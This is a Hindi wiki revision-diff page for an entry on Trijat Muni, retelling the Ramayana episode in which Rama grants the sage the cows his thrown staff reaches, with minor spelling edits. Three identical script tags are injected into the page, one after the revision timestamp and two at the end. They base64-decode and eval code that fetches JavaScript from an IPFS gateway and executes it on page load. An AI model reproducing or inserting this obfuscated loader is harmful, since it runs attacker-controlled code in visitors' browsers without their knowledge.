"त्रिजट मुनि" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - "{{ॠषि-मुनि}}" to "")
 
(२ सदस्यों द्वारा किये गये बीच के २ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
{{Menu}}
 
{{Menu}}
 
==त्रिजट मुनि / Trijat Muni==
 
==त्रिजट मुनि / Trijat Muni==
वनगमन से पूर्व [[राम]] ने अपनी समस्त धनराशि निर्धन ब्रह्मणों में बांटनी प्रारंभ कर दी, तब त्रिजट की पत्नी ने त्रिजट के पास जाकर कहा- 'फाल, कुदाल छोड़कर तुम बच्चों का हाथ थामो और श्रीराम के पास जाकर देखो, शायद कुछ मिल जाये।' उसने ऐसा ही किया। राम ने उससे परिहास में कहा- 'हे ब्राह्मणदेव, [[सरयू नदी]] के उस पार मेरी हजारों गायें हैं। आप एक दंड उठाकर फेंकिए, वह जितनी दूर गिरेगा, उतनी दूर तक की समस्त गायें आपकी हो जायेंगी।' ऐसा करने पर मुनि त्रिजट का दंड एक हजार गायों से युक्त, गोशाला में गिरा, जो कि सरयू नदी के दूसरे पार थी। वे समस्त गायें मुनि त्रिजट की हो गयीं वे राम को आशीर्वाद देकर अपने आश्रम चले गये।<balloon title="बाल्मीकि रामायण, अयोध्या कांड, सर्ग 32, श्लोक 28-44" style=color:blue>*</balloon>  
+
वनगमन से पूर्व [[राम]] ने अपनी समस्त धनराशि निर्धन ब्रह्मणों में बांटनी प्रारंभ कर दी, तब त्रिजट की पत्नी ने त्रिजट के पास जाकर कहा- 'फाल, कुदाल छोड़कर तुम बच्चों का हाथ थामो और श्रीराम के पास जाकर देखो, शायद कुछ मिल जाये।' उसने ऐसा ही किया। राम ने उससे परिहास में कहा- 'हे ब्राह्मणदेव, [[सरयू नदी]] के उस पार मेरी हज़ारों गायें हैं। आप एक दंड उठाकर फेंकिए, वह जितनी दूर गिरेगा, उतनी दूर तक की समस्त गायें आपकी हो जायेंगी।' ऐसा करने पर मुनि त्रिजट का दंड एक हज़ार गायों से युक्त, गोशाला में गिरा, जो कि सरयू नदी के दूसरे पार थी। वे समस्त गायें मुनि त्रिजट की हो गयीं वे राम को आशीर्वाद देकर अपने आश्रम चले गये।<balloon title="बाल्मीकि रामायण, अयोध्या कांड, सर्ग 32, श्लोक 28-44" style=color:blue>*</balloon>  
 +
==सम्बंधित लिंक==
 +
{{ॠषि-मुनि2}}
  
 
[[Category:कोश]]
 
[[Category:कोश]]
 
[[Category:ॠषि_मुनि]]
 
[[Category:ॠषि_मुनि]]
 
__INDEX__
 
__INDEX__

१९:४६, २७ अक्टूबर २०११ के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

त्रिजट मुनि / Trijat Muni

वनगमन से पूर्व राम ने अपनी समस्त धनराशि निर्धन ब्रह्मणों में बांटनी प्रारंभ कर दी, तब त्रिजट की पत्नी ने त्रिजट के पास जाकर कहा- 'फाल, कुदाल छोड़कर तुम बच्चों का हाथ थामो और श्रीराम के पास जाकर देखो, शायद कुछ मिल जाये।' उसने ऐसा ही किया। राम ने उससे परिहास में कहा- 'हे ब्राह्मणदेव, सरयू नदी के उस पार मेरी हज़ारों गायें हैं। आप एक दंड उठाकर फेंकिए, वह जितनी दूर गिरेगा, उतनी दूर तक की समस्त गायें आपकी हो जायेंगी।' ऐसा करने पर मुनि त्रिजट का दंड एक हज़ार गायों से युक्त, गोशाला में गिरा, जो कि सरयू नदी के दूसरे पार थी। वे समस्त गायें मुनि त्रिजट की हो गयीं वे राम को आशीर्वाद देकर अपने आश्रम चले गये।<balloon title="बाल्मीकि रामायण, अयोध्या कांड, सर्ग 32, श्लोक 28-44" style=color:blue>*</balloon>

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>